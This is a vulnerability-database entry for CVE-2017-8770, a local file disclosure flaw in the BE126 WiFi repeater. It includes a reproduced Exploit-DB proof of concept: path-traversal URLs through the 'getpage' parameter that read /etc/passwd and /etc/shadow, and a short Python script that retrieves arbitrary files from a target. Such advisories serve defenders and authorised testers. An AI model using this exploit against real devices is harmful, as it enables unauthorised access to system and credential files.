CVE-2017-8770

high

Published 2017-09-20 · Modified 2026-05-13

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CVSS v3

7.5

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

8.5

Description

There is LFD (local file disclosure) on BE126 WIFI repeater 1.0 devices that allows attackers to read the entire filesystem on the device via a crafted getpage parameter.

Predictions

Exploit likelihood

83%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42547 webapps hardware text · 2 KB

Hay Mizrachi · 2017-08-23

Wireless Repeater BE126 - Local File Inclusion

text exploit Source: Exploit-DB

# Exploit Title:  WIFI Repeater BE126 – Local File Inclusion
# Date Publish: 23/08/2017
# Exploit Authors: Hay Mizrachi, Omer Kaspi

# Contact: haymizrachi@gmail.com, komerk0@gmail.com
# Vendor Homepage: http://www.twsz.com
# Category: Webapps
# Version: 1.0
# Tested on: Windows/Ubuntu 16.04

# CVE: CVE-2017-8770

1 - Description:

'getpage' HTTP parameter is not escaped in include file,

Which allow us to include local files with a root privilege user, aka /etc/password,
/etc/shadow and so on.

2 - Proof of Concept:

http://Target/cgi-bin/webproc?getpage=[LFI]

 

/etc/passwd:

http://Target/cgi-bin/webproc?getpage=../../../../etc/passwd&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard


#root:x:0:0:root:/root:/bin/bash

root:x:0:0:root:/root:/bin/sh

#tw:x:504:504::/home/tw:/bin/bash

#tw:x:504:504::/home/tw:/bin/msh

 

/etc/shadow;

 

http://Target/cgi-bin/webproc?getpage=../../../../etc/shadow&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard

 

import urllib2, httplib, sys
 
'''
	LFI PoC By Hay and Omer
'''
 
print "[+] cgi-bin/webproc exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"
 
ip_add = sys.argv[1]
fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')
 
print "Exploiting....."
print '\n'
URL = "http://" + ip_add + "/cgi-bin/webproc?getpage=/" + fd + "&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:login=true&var:page=wizard"
print urllib2.urlopen(URL).read()

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.